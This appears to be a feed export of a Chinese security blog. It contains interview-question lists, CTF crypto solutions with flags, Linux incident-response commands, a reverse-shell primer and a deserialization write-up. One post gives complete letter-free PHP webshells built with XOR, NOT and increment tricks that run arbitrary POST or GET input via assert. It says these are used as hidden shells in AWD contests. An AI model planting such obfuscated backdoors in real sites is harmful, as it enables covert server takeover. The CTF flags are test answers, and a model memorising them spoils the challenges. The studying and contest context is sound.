&lt;li&gt;如果cms中找不到POP链怎么利用(不知道，面试官告诉我可以用内置的类进行反序列化)&lt;/li&gt;
&lt;li&gt;印象最深的一道CTF题&lt;/li&gt;
&lt;li&gt;解释一下js的原型链污染&lt;/li&gt;
&lt;li&gt;说一下你对tomcat AJP漏洞的分析&lt;/li&gt;
&lt;li&gt;除了CTF，代码审计你还从哪里学安全知识&lt;/li&gt;
&lt;li&gt;储存型XSS但是httponly了怎么利用&lt;/li&gt;
&lt;li&gt;说一下redis主从复制漏洞&lt;/li&gt;
&lt;li&gt;解释一下python的全局变量锁&lt;/li&gt;
&lt;li&gt;python什么时候会用到多线程，什么时候用到多进程&lt;/li&gt;
&lt;li&gt;为什么python的多线程是伪多线程&lt;/li&gt;
&lt;li&gt;开发一个cms自动化代码审计的工具你有哪些思路&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;腾讯-应用运维安全&lt;/p&gt;
&lt;p&gt;我后来才知道腾讯面试的流程，首先有一个公共的简历池，之后每个部门在里面捞简历，一般看到一份还行的简历会打电环了解一下情况(所以我接了好几个了解情况的电话)，之后如果要面试的话需要锁定这一份简历，这样的话其他部门就无法面试你，只有锁定简历的部门才行。&lt;/p&gt;
&lt;p&gt;两轮电话了解情况之后，我的简历投到了应用运维安全，具体哪个事业群不知道&lt;/p&gt;
&lt;p&gt;一面&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;入侵响应&lt;/li&gt;
&lt;li&gt;重置密码逻辑漏洞&lt;/li&gt;
&lt;li&gt;RMI 利用的一个流程&lt;/li&gt;
&lt;li&gt;flask SSTI 漏洞&lt;/li&gt;
&lt;li&gt;XSS怎么防护&lt;/li&gt;
&lt;li&gt;CSP如何绕&lt;/li&gt;
&lt;li&gt;安全开发流程&lt;/li&gt;
&lt;li&gt;JavaScript 闭包&lt;/li&gt;
&lt;li&gt;常用远程控制软件&lt;/li&gt;
&lt;li&gt;SQL过滤了单引号怎么绕过&lt;/li&gt;
&lt;li&gt;SQL注入如何防护&lt;/li&gt;
&lt;li&gt;Linux查看进程和查看端口的命令&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;之后网申的页面提示进入了复试阶段，但是一直没更新。直到变灰。&lt;/p&gt;
&lt;p&gt;腾讯-后台策略安全&lt;/p&gt;
&lt;p&gt;本来以为腾讯没希望了，人都去新疆给做培训了，结果腾讯微信事业群联系我问有没有意向&lt;/p&gt;
&lt;p&gt;4.9 0面&lt;/p&gt;
&lt;p&gt;问了大概一个多小时，感觉就是提前了解情况，后来才知道也不是一面。姑且叫做0面好了，面完之后也没有做记录，只有靠回忆了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;说一下python沙盒逃逸&lt;/li&gt;
&lt;li&gt;了解过nodejs的沙盒逃逸吗&lt;/li&gt;
&lt;li&gt;说一下JavaScript原型链污染&lt;/li&gt;
&lt;li&gt;dll注入了解过吗&lt;/li&gt;
&lt;li&gt;二进制程序常见的壳，脱壳的方法&lt;/li&gt;
&lt;li&gt;了解过大数据吗&lt;/li&gt;
&lt;li&gt;编程题: 将一个数组的奇数移到前面，偶数移到后面&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;4.11 一面&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https和http的区别&lt;/li&gt;
&lt;li&gt;http怎么防止运营商篡改你的流量&lt;/li&gt;
&lt;li&gt;操作系统进程通信方式&lt;/li&gt;
&lt;li&gt;XSS和CSRF&lt;/li&gt;
&lt;li&gt;二次注入&lt;/li&gt;
&lt;li&gt;web安全有没有总结一些方法论什么的&lt;/li&gt;
&lt;li&gt;操作系统的最小调度单位是什么，操作系统资源分配的最小单位是什么，如果一个进程crash了，它的线程会发生什么&lt;/li&gt;
&lt;li&gt;tcp为啥要三次握手，两次和四次不行吗&lt;/li&gt;
&lt;li&gt;脱壳的方式&lt;/li&gt;
&lt;li&gt;编程题：二分查找&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;4.13 二面&lt;/p&gt;
&lt;p&gt;这一面感觉面的挺尬的，面完后还觉得自己凉了，面完之后每天都忍不住去看官网的状态&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;有没有渗透攻防经历&lt;/li&gt;
&lt;li&gt;逆向了解过哪些&lt;/li&gt;
&lt;li&gt;小程序游戏，比如跳一跳，怎么防止查重&lt;/li&gt;
&lt;li&gt;二进制安全学习过哪些.&lt;/li&gt;
&lt;li&gt;java安全学习过哪些&lt;/li&gt;
&lt;li&gt;apk逆向了解不&lt;/li&gt;
&lt;li&gt;java的hashtable实现原理&lt;/li&gt;
&lt;li&gt;hash泛洪攻击了解吗&lt;/li&gt;
&lt;li&gt;tcp泛洪攻击&lt;/li&gt;
&lt;li&gt;你认为你相比其他人的优势&lt;/li&gt;
&lt;li&gt;你玩过哪些微信游戏&lt;/li&gt;
&lt;li&gt;内容安全了解吗&lt;/li&gt;
&lt;li&gt;编程题：数组去重&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;4.17 三面&lt;/p&gt;
&lt;p&gt;第一次在机场面试。。实在是没办法，这是腾讯校招的最后一天必须得面完&lt;/p&gt;
&lt;p&gt;然而面试官问我的问题我都没听明白&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;怎么检测开发者绕过我们设定的策略&lt;/li&gt;
&lt;li&gt;如何检测内容安全&lt;/li&gt;
&lt;li&gt;如何防止外挂&lt;/li&gt;
&lt;li&gt;你还有什么补充的(然后我就开始跑火车了)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;由于在机场，面试也只持续了半个小时左右&lt;/p&gt;
&lt;p&gt;4.18 hr面&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你认为你相对别人的优势&lt;/li&gt;
&lt;li&gt;之前没有实习经历&lt;/li&gt;
&lt;li&gt;之前有投递过其他的安全公司吗&lt;/li&gt;
&lt;li&gt;你觉得这个岗位和你相契合吗&lt;/li&gt;
&lt;li&gt;你父母的工作，你父母对你的影响&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;聊了大概大概十分钟，面试官声音很有特点。面试的邀请函都是4.18号凌晨发过来的，估计在加班hhhh&lt;/p&gt;
&lt;p&gt;阿里&lt;/p&gt;
&lt;p&gt;2月底的时候看到博客园的一个师傅，首页上写着阿里云云安全团队长期招收实习生，于是联系了他，做了一次简单的非正式面试，校招开始的时候也是他帮我内推的&lt;/p&gt;
&lt;p&gt;一面&lt;/p&gt;
&lt;p&gt;一面很水，不到二十分钟，感觉就是简单了解了情况&lt;/p&gt;
&lt;p&gt;二面&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;渗透测试有没有做过&lt;/li&gt;
&lt;li&gt;怎么检测反弹shell&lt;/li&gt;
&lt;li&gt;怎么检测黑客入侵Linux服务器&lt;/li&gt;
&lt;li&gt;structs2漏洞说一下&lt;/li&gt;
&lt;li&gt;cms审计说一说&lt;/li&gt;
&lt;li&gt;系统提权说一说&lt;/li&gt;
&lt;li&gt;有没有做过演讲&lt;/li&gt;
&lt;li&gt;安全方面有哪些成就&lt;/li&gt;
&lt;li&gt;IOT哪些产出&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;答得不是很好，结果凉凉&lt;/p&gt;
&lt;p&gt;华为&lt;/p&gt;
&lt;p&gt;笔试&lt;/p&gt;
&lt;p&gt;华为这次笔试感觉真的难，只有单选，不定项选(少选不给分)，和一道编程题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;fuzz框架考了很多，而且都是问用处，但是我都不知道&lt;/li&gt;
&lt;li&gt;Linux的操作也考了一些，比如 &lt;code&gt;/etc/profile&lt;/code&gt; 文件中设置的环境变量对所有用户都生效&lt;/li&gt;
&lt;li&gt;web安全，有直接给源码问你漏洞点的，还有一些基本概念，这个反倒是不难&lt;/li&gt;
&lt;li&gt;二进制安全，有一道直接考ROP链的，让你选择栈布局&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不知道还有没有后续的面试&lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
&lt;p&gt;校招还是比较看重基础，但是对于偏乙方的比如长亭和知道创宇可能要求你有一些比较擅长的点，而且会问的比较细。大厂主要是看你的基础知识是不是很扎实。感觉面试的很多问题都是可以直接从网上找到答案的，但是还是要拿来问emmm。最后，感觉面试真是3分运气，7分实力，不过不到最后也不要轻言放弃，万一呢，万一呢。&lt;/p&gt;
</content:encoded></item><item><title>密码学题目</title><link>https://rayepeng.net/posts/%E5%AF%86%E7%A0%81%E5%AD%A6%E9%A2%98%E7%9B%AE/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%AF%86%E7%A0%81%E5%AD%A6%E9%A2%98%E7%9B%AE/</guid><pubDate>Sat, 18 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;记录一下ctf.show平台&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf.show/challenges&quot;&gt;https://ctf.show/challenges&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;crypto0&lt;/h2&gt;
&lt;p&gt;凯撒密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1586531882516-1587195417553.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;crypto2&lt;/h2&gt;
&lt;p&gt;jsfuck&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587194700279.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;crypto3&lt;/h2&gt;
&lt;p&gt;还是jsfuck编码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587194728413.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;crypto4&lt;/h2&gt;
&lt;p&gt;p=447685307 q=2037 e=17&lt;/p&gt;
&lt;p&gt;提交flag{d}即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

&apos;&apos;&apos;
给出p,q,e 求d
&apos;&apos;&apos;
# p = 3487583947589437589237958723892346254777
# q = 8767867843568934765983476584376578389
# e = 65537
p=18443
q=49891
e=19
phin = (p - 1) * (q - 1)
print gmpy2.invert(e, phin)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;crypto5&lt;/h2&gt;
&lt;p&gt;p=447685307 q=2037 e=17 c=704796792&lt;/p&gt;
&lt;p&gt;提交flag{m}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

&apos;&apos;&apos;
给出p,q,e,c 求d和m
&apos;&apos;&apos;
p=447685307
q=2037
e=17
c=704796792
phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
print pow(c,d,p*q)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;crypto7&lt;/h2&gt;
&lt;p&gt;ook解密&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.splitbrain.org/services/ook&quot;&gt;https://www.splitbrain.org/services/ook&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{b615c4b79a1aede83b9ae67104ff4eb5}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;crypto8&lt;/h2&gt;
&lt;p&gt;brainfuck解密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{99754106633f94d350db34d548d6091a}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;crypto9&lt;/h2&gt;
&lt;p&gt;密码是4132&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://serpent.online-domain-tools.com/&quot;&gt;http://serpent.online-domain-tools.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1586560529022.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;crypto10&lt;/h2&gt;
&lt;p&gt;邮件编码&lt;/p&gt;
&lt;h2&gt;crypto11&lt;/h2&gt;
&lt;p&gt;解密后就是ctf&lt;/p&gt;
&lt;h2&gt;crypto13&lt;/h2&gt;
&lt;p&gt;混合加密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
def base(s):
    try:
        s = base64.b32decode(s)
        s = base(s)
    except:
        try:
            s = base64.b64decode(s)
            s = base(s)
        except:
            return s
    return s
f = open(&apos;base.txt&apos;)

text = f.read()

print(base(text))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{b4Se_Fami1y_Is_FUn}&lt;/p&gt;
</content:encoded></item><item><title>无字母数字webshell</title><link>https://rayepeng.net/posts/%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97webshell/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97webshell/</guid><pubDate>Sun, 05 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if(!preg_match(&apos;/[a-z0-9]/is&apos;,$_GET[&apos;shell&apos;])) {
  eval($_GET[&apos;shell&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通过异或&lt;/h2&gt;
&lt;p&gt;原理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php &amp;gt; echo chr(0x01)^&apos;`&apos;;
a
php &amp;gt; echo chr(0x13)^&apos;`&apos;;
s
php &amp;gt; echo chr(0x05)^&apos;`&apos;;
e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以即可构造：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$_=(&apos;%01&apos;^&apos;`&apos;).(&apos;%13&apos;^&apos;`&apos;).(&apos;%13&apos;^&apos;`&apos;).(&apos;%05&apos;^&apos;`&apos;).(&apos;%12&apos;^&apos;`&apos;).(&apos;%14&apos;^&apos;`&apos;); //$_=assert
$__=&apos;_&apos;.(&apos;%0D&apos;^&apos;]&apos;).(&apos;%2F&apos;^&apos;`&apos;).(&apos;%0E&apos;^&apos;]&apos;).(&apos;%09&apos;^&apos;]&apos;); // $__ = _POST
$___=$$__; //$___ = $_POST
$_($___[_]);// assert($_POST[_])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;php5.5.38&lt;/code&gt; 通过测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1586074270072.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是如果切换为 &lt;code&gt;php7.1.3&lt;/code&gt; 执行失败&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1586074316094.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;构造webshell&lt;/h3&gt;
&lt;p&gt;通过这种方式可以构造异或形式的webshell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    @$_++; // $_ = 1
    $__=(&quot;#&quot;^&quot;|&quot;); // $__ = _
    $__.=(&quot;.&quot;^&quot;~&quot;); // _P
    $__.=(&quot;/&quot;^&quot;`&quot;); // _PO
    $__.=(&quot;|&quot;^&quot;/&quot;); // _POS
    $__.=(&quot;{&quot;^&quot;/&quot;); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0=assert&amp;amp;1=phpinfo()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 AWD 中常用来做隐藏的shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1586074779485.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然这种马是直接被杀的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/bed5b94f/1586074826727.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;绕过长度限制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
include &apos;flag.php&apos;;
if(isset($_GET[&apos;code&apos;])){
    $code = $_GET[&apos;code&apos;];
    if(strlen($code)&amp;gt;40){
        die(&quot;Long.&quot;);
    }
    if(preg_match(&quot;/[A-Za-z0-9]+/&quot;,$code)){
        die(&quot;NO.&quot;);
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  &quot;php function getFlag() to get flag&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先我们得知道 &lt;code&gt;_GET&lt;/code&gt; 由什么异或而来的，&lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/web/php/php-zh/#_12&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    echo &quot;`{{{&quot;^&quot;?&amp;lt;&amp;gt;/&quot;;//_GET
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码一大坨是啥意思呢？因为 40 个字符长度的限制，导致以前逐个字符异或拼接的 webshell 不能使用。&lt;br /&gt;
这里可以使用 php 中可以执行命令的反引号 ``` 和 &lt;code&gt;Linux&lt;/code&gt; 下面的通配符 &lt;code&gt;?&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?&lt;/code&gt; 代表匹配一个字符&lt;/li&gt;
&lt;li&gt;``` 表示执行命令&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;&lt;/code&gt; 对特殊字符串进行解析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样就可以直接得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php &amp;gt; echo &quot;`{{{&quot;^&quot;?&amp;lt;&amp;gt;/&quot;;
_GET
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;${$_}[_](${$_}[__]) //$_GET[_]($_GET[__])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就构造好了shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1586075401555.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;通过取反&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$__=(&apos;&amp;gt;&apos;&amp;gt;&apos;&amp;lt;&apos;)+(&apos;&amp;gt;&apos;&amp;gt;&apos;&amp;lt;&apos;);
$_=$__/$__;

$____=&apos;&apos;;
$___=&quot;瞰&quot;;$____.=~($___{$_});$___=&quot;和&quot;;$____.=~($___{$__});$___=&quot;和&quot;;$____.=~($___{$__});$___=&quot;的&quot;;$____.=~($___{$_});$___=&quot;半&quot;;$____.=~($___{$_});$___=&quot;始&quot;;$____.=~($___{$__});

$_____=&apos;_&apos;;$___=&quot;俯&quot;;$_____.=~($___{$__});$___=&quot;瞰&quot;;$_____.=~($___{$__});$___=&quot;次&quot;;$_____.=~($___{$_});$___=&quot;站&quot;;$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通过加法运算&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$_=[];
$_=@&quot;$_&quot;; // $_=&apos;Array&apos;;
$_=$_[&apos;!&apos;==&apos;@&apos;]; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____=&apos;_&apos;;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux应急响应</title><link>https://rayepeng.net/posts/linux%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/</link><guid isPermaLink="true">https://rayepeng.net/posts/linux%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/</guid><pubDate>Fri, 03 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;相关命令补充&lt;/h2&gt;
&lt;h2&gt;入侵排查思路&lt;/h2&gt;
&lt;h3&gt;账号安全&lt;/h3&gt;
&lt;p&gt;用户信息文件/etc/passwd&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名：密码：用户ID：组ID：用户说明：家目录：登陆之后shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：无密码只允许本机登陆，远程不允许登陆&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/shadow&lt;/code&gt; 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名：加密密码：密码最后一次修改日期：两次密码的修改时间间隔：密码有效期：密码修改到期到的警告天数：密码过期之后的宽限天数：账号失效时间：保留
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相关命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;who   查看当前登录用户（tty本地登陆 pts远程登录）
w    查看系统信息，想知道某一时刻用户的行为
uptime 查看登陆多久、多少用户，负载
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查找特权用户(UID=0)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;awk -F: &apos;$3==0{print $1}&apos; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查找可以远程登陆的账号信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo awk &apos;/\$1|\$6/{print $1}&apos; /etc/shadow
root:$6$ogEENApZAzc/p2XN$TQ.P2pRw7IwUuYPMXymUH2fbGNrNqJutxiao3xAJpCSYlhjNCL1BYByO1W75i4I6ri1GWGu61VMqexIXw5s0l.:18298:0:99999:7:::
pxy:$6$7LQL0eO/Dk93UKqU$U9fSZEej9Dx1/InOImWFsfRdtWW2dJHzWYhnBRJj79.NLVQ9og.5E0jAo7eYB.vmwR9PuYjND.e4yBWwhqVvq.:18253:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除root帐号外，其他帐号是否存在sudo权限。如非管理需要，普通帐号应删除sudo权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo more /etc/sudoers | grep -v &quot;^#\|^$&quot; | grep &quot;ALL=(ALL)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;禁用或者删除可疑的账号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;usermod -L user  禁用帐号，帐号无法登录，/etc/shadow第二栏为!开头
userdel user    删除user用户
userdel -r user  将删除user用户，并且将/home目录下的user目录一并删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;历史命令&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;history&lt;/code&gt; 查看历史命令&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开/home各帐号目录下的.bash_history，查看普通帐号的历史命令&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;保存一万条命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed -i &apos;s/^HISTSIZE=1000/HISTSIZE=10000/g&apos; /etc/profile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;增加ip信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;######jiagu history xianshi#########
USER_IP=`who -u am i 2&amp;gt;/dev/null | awk &apos;{print $NF}&apos; | sed -e &apos;s/[()]//g&apos;`
if [ &quot;$USER_IP&quot; = &quot;&quot; ]
then
USER_IP=`hostname`
fi

shopt -s histappend

######### jiagu history xianshi ##########
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;source /etc/profile&lt;/code&gt; 让配置生效&lt;/p&gt;
</content:encoded></item><item><title>反弹shell原理及其检测思路</title><link>https://rayepeng.net/posts/%E5%8F%8D%E5%BC%B9shell%E5%8E%9F%E7%90%86%E5%8F%8A%E5%85%B6%E6%A3%80%E6%B5%8B%E6%80%9D%E8%B7%AF/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8F%8D%E5%BC%B9shell%E5%8E%9F%E7%90%86%E5%8F%8A%E5%85%B6%E6%A3%80%E6%B5%8B%E6%80%9D%E8%B7%AF/</guid><pubDate>Fri, 03 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;反弹shell的原理&lt;/h2&gt;
&lt;h3&gt;文件描述符与重定向&lt;/h3&gt;
&lt;p&gt;先来看这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/xinyongpeng/image/img20200701200903.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一个 &lt;code&gt;&amp;gt;&lt;/code&gt; 符号，将标准输出的内容重定向到文件 &lt;code&gt;test.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二个 &lt;code&gt;&amp;lt;&lt;/code&gt; 符号，似乎不太好理解？&lt;/p&gt;
&lt;p&gt;在我们的印象中，cat似乎就是用来读文件的，但是实际上，cat还可以这么用：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/xinyongpeng/image/img20200701201351.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是说，我们输入的数据，cat 会原封不动的打印出来&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cat 可以接收标准输入的数据，将其打印在标准输出(屏幕)上&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是我们就可以将标准输入这个文件描述符指向 &lt;code&gt;test.txt&lt;/code&gt;，从而打印其内容&lt;/p&gt;
&lt;p&gt;实际上，&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; 称为输入重定向符，&lt;code&gt;&amp;lt;&lt;/code&gt; 等价于 &lt;code&gt;0&amp;lt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; 称为输出重定向符， &lt;code&gt;&amp;gt;&lt;/code&gt; 等价于&lt;code&gt;1&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不行你看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/xinyongpeng/image/img20200701201729.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实际上，Linux中总共提供了三个文件描述符&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 标准输入&lt;/li&gt;
&lt;li&gt;1 标准输出&lt;/li&gt;
&lt;li&gt;2 标准错误输出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这三个文件描述符，实际上就是三个指针，我们可以随时改变它们的指向。比如上文提到的，将标准输出指向了一个文件，将标准输入也指向了一个文件。&lt;/p&gt;
&lt;p&gt;同样的，标准错误输出也可以重定向到一个文件中，不过由于 &lt;code&gt;&amp;gt;&lt;/code&gt; 默认等价于 &lt;code&gt;1&amp;gt;&lt;/code&gt;，所以我们需要写明&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/xinyongpeng/image/img20200701202131.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;文件描述符与重定向进阶&lt;/h3&gt;
</content:encoded></item><item><title>反序列化题目整理</title><link>https://rayepeng.net/posts/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9B%AE%E6%95%B4%E7%90%86/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9B%AE%E6%95%B4%E7%90%86/</guid><pubDate>Wed, 01 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;qwb upload&lt;/h2&gt;
&lt;p&gt;当初学的时候挺难的，现在做起来觉得挺简单了&lt;/p&gt;
&lt;p&gt;入口 &lt;code&gt;Register.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __destruct()
{
    if(!$this-&amp;gt;registed){
        $this-&amp;gt;checker-&amp;gt;index();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用 &lt;code&gt;checker&lt;/code&gt; 属性的 index 方法，如果不存在，就会调用某个类的 &lt;code&gt;__call&lt;/code&gt; 方法&lt;/p&gt;
